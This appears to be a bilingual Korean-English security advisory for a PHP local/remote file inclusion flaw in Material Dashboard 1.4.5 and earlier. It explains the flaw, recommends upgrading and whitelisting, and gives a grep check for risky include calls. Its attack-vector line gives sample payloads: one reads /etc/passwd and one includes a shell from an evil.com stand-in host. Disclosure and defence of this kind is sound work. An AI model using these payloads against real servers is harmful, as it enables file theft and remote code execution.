🇰🇷 한글 설명
Hossein Material Dashboard의 PHP 파일 포함 기능에서 입력 검증 부족으로 인해 공격자가 로컬 또는 원격 파일을 임의로 포함할 수 있는 취약점입니다. 버전 1.4.5 이하에서 영향을 받으며, 악의적인 입력을 통해 민감한 파일 접근이나 원격 코드 실행이 가능합니다.
💡 쉬운 설명
웹사이트의 PHP 코드가 사용자 입력을 제대로 검증하지 않아, 공격자가 서버 내 파일을 열람하거나 악성 코드를 실행할 수 있는 문제입니다. Material Dashboard 버전 1.4.5 이하를 사용하는 경우 즉시 업그레이드가 필요합니다.
🇺🇸 원문 (English)
Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Hossein Material Dashboard material-dashboard allows PHP Local File Inclusion.This issue affects Material Dashboard: from n/a through <= 1.4.5.
📍 영향받는 시스템
Hossein Material Dashboard (material-dashboard) <= 1.4.5
⚔️ 공격 벡터
include/require 함수에 사용자 제어 입력을 직접 전달 (예: ?page=/etc/passwd 또는 http://evil.com/shell.php)
🛡️ 대응 방법
Material Dashboard를 1.4.6 이상으로 업그레이드하고, 모든 파일 포함 함수에 입력 화이트리스트 검증 추가
🔧 검증 코드
결과에서 $_GET, $_POST, $_REQUEST 등 사용자 입력이 직접 include/require에 전달되는 부분이 있으면 취약합니다. 파일명이 화이트리스트로 검증되는지 확인하세요.
grep -r 'include\|require' /path/to/material-dashboard --include='*.php' | head -20